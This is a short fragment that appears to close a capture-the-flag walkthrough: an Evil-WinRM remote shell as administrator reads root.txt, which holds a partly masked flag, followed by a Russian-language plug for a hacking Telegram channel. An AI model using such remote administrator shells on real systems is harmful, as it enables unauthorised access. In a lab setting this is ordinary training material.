Evil-WinRM PS C:\Users\administrator\desktop> cat root.txt
c3bee243************************
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер